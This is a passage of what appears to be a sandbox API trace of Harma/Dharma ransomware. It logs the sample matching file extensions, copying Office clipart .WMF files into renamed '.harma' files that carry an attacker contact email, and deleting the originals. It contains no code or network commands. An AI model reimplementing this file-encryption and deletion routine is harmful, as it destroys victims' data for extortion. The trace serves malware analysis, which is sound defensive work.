[0152.632] lstrlenW (lpString=".bz2") returned 4 [0152.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.632] lstrlenW (lpString=".7z") returned 3 [0152.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.632] lstrlenW (lpString=".dbf") returned 4 [0152.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.632] lstrlenW (lpString=".1cd") returned 4 [0152.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.632] lstrlenW (lpString=".jpg") returned 4 [0152.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.633] lstrlenW (lpString=".doc") returned 4 [0152.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.633] lstrlenW (lpString=".docx") returned 5 [0152.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.633] lstrlenW (lpString=".pdf") returned 4 [0152.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.633] lstrlenW (lpString=".xls") returned 4 [0152.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.633] lstrlenW (lpString=".xlsx") returned 5 [0152.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.633] lstrlenW (lpString=".ppt") returned 4 [0152.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.633] lstrlenW (lpString=".zip") returned 4 [0152.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.633] lstrlenW (lpString=".rar") returned 4 [0152.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.633] lstrlenW (lpString=".bz2") returned 4 [0152.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.633] lstrlenW (lpString=".7z") returned 3 [0152.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.633] lstrlenW (lpString=".dbf") returned 4 [0152.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.634] lstrlenW (lpString=".1cd") returned 4 [0152.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.634] lstrlenW (lpString=".jpg") returned 4 [0152.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.733] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.734] lstrlenW (lpString="EN00902_.WMF") returned 12 [0152.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.765] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7944) returned 1 [0152.765] CloseHandle (hObject=0x330) returned 1 [0152.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0152.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.765] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.765] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.766] GetLastError () returned 0x0 [0152.766] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1f08, lpOverlapped=0x0) returned 1 [0152.794] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0152.795] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.795] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.795] SetEndOfFile (hFile=0x350) returned 1 [0152.795] CloseHandle (hObject=0x350) returned 1 [0152.795] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.796] SetEndOfFile (hFile=0x330) returned 1 [0152.802] CloseHandle (hObject=0x330) returned 1 [0152.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0152.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.925] lstrlenW (lpString=".doc") returned 4 [0152.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.925] lstrlenW (lpString=".docx") returned 5 [0152.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.925] lstrlenW (lpString=".pdf") returned 4 [0152.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.925] lstrlenW (lpString=".xls") returned 4 [0152.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.925] lstrlenW (lpString=".xlsx") returned 5 [0152.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.925] lstrlenW (lpString=".ppt") returned 4 [0152.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.926] lstrlenW (lpString=".zip") returned 4 [0152.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.926] lstrlenW (lpString=".rar") returned 4 [0152.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.926] lstrlenW (lpString=".bz2") returned 4 [0152.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.926] lstrlenW (lpString=".7z") returned 3 [0152.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.926] lstrlenW (lpString=".dbf") returned 4 [0152.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.926] lstrlenW (lpString=".1cd") returned 4 [0152.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.927] lstrlenW (lpString=".jpg") returned 4 [0152.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.927] lstrlenW (lpString=".doc") returned 4 [0152.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.927] lstrlenW (lpString=".docx") returned 5 [0152.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.927] lstrlenW (lpString=".pdf") returned 4 [0152.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.927] lstrlenW (lpString=".xls") returned 4 [0152.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.927] lstrlenW (lpString=".xlsx") returned 5 [0152.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.927] lstrlenW (lpString=".ppt") returned 4 [0152.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.927] lstrlenW (lpString=".zip") returned 4 [0152.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.927] lstrlenW (lpString=".rar") returned 4 [0152.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.927] lstrlenW (lpString=".bz2") returned 4 [0152.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.928] lstrlenW (lpString=".7z") returned 3 [0152.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.928] lstrlenW (lpString=".dbf") returned 4 [0152.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.928] lstrlenW (lpString=".1cd") returned 4 [0152.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0152.928] lstrlenW (lpString=".jpg") returned 4 [0152.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.928] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.928] lstrlenW (lpString="FD00086_.WMF") returned 12 [0152.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.929] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=29212) returned 1 [0152.929] CloseHandle (hObject=0x208) returned 1 [0152.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0153.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0153.068] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.068] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0153.069] GetLastError () returned 0x0 [0153.069] ReadFile (in: hFile=0x208, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x721c, lpOverlapped=0x0) returned 1 [0153.073] WriteFile (in: hFile=0x328, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0153.074] ReadFile (in: hFile=0x208, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.074] WriteFile (in: hFile=0x328, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.074] SetEndOfFile (hFile=0x328) returned 1 [0153.075] CloseHandle (hObject=0x328) returned 1 [0153.075] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.075] SetEndOfFile (hFile=0x208) returned 1 [0153.077] CloseHandle (hObject=0x208) returned 1 [0153.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.079] lstrlenW (lpString=".doc") returned 4 [0153.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".docx") returned 5 [0153.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.079] lstrlenW (lpString=".pdf") returned 4 [0153.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".xls") returned 4 [0153.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.079] lstrlenW (lpString=".xlsx") returned 5 [0153.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.079] lstrlenW (lpString=".ppt") returned 4 [0153.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.079] lstrlenW (lpString=".zip") returned 4 [0153.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.079] lstrlenW (lpString=".rar") returned 4 [0153.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString=".bz2") returned 4 [0153.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString=".7z") returned 3 [0153.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.080] lstrlenW (lpString=".dbf") returned 4 [0153.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.080] lstrlenW (lpString=".1cd") returned 4 [0153.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.080] lstrlenW (lpString=".jpg") returned 4 [0153.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.080] lstrlenW (lpString=".doc") returned 4 [0153.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString=".docx") returned 5 [0153.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.081] lstrlenW (lpString=".pdf") returned 4 [0153.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString=".xls") returned 4 [0153.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.081] lstrlenW (lpString=".xlsx") returned 5 [0153.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.081] lstrlenW (lpString=".ppt") returned 4 [0153.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.081] lstrlenW (lpString=".zip") returned 4 [0153.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.081] lstrlenW (lpString=".rar") returned 4 [0153.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString=".bz2") returned 4 [0153.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString=".7z") returned 3 [0153.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.081] lstrlenW (lpString=".dbf") returned 4 [0153.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.082] lstrlenW (lpString=".1cd") returned 4 [0153.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0153.082] lstrlenW (lpString=".jpg") returned 4 [0153.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.082] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0153.082] lstrlenW (lpString="FD00090_.WMF") returned 12 [0153.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0153.083] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=14194) returned 1 [0153.083] CloseHandle (hObject=0x208) returned 1 [0153.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0153.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0153.084] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.084] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0153.086] GetLastError () returned 0x0 [0153.087] ReadFile (in: hFile=0x208, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x3772, lpOverlapped=0x0) returned 1 [0153.606] WriteFile (in: hFile=0x328, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3780, lpOverlapped=0x0) returned 1 [0153.608] ReadFile (in: hFile=0x208, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.608] WriteFile (in: hFile=0x328, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.608] SetEndOfFile (hFile=0x328) returned 1 [0153.608] CloseHandle (hObject=0x328) returned 1 [0153.608] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.608] SetEndOfFile (hFile=0x208) returned 1 [0153.610] CloseHandle (hObject=0x208) returned 1 [0153.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0153.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.840] lstrlenW (lpString=".doc") returned 4 [0153.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.840] lstrlenW (lpString=".docx") returned 5 [0153.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.841] lstrlenW (lpString=".pdf") returned 4 [0153.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.841] lstrlenW (lpString=".xls") returned 4 [0153.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.841] lstrlenW (lpString=".xlsx") returned 5 [0153.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.841] lstrlenW (lpString=".ppt") returned 4 [0153.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.841] lstrlenW (lpString=".zip") returned 4 [0153.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.842] lstrlenW (lpString=".rar") returned 4 [0153.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.842] lstrlenW (lpString=".bz2") returned 4 [0153.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.842] lstrlenW (lpString=".7z") returned 3 [0153.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.842] lstrlenW (lpString=".dbf") returned 4 [0153.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0153.842] lstrlenW (lpString=".1cd") returned 4 [0153.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") 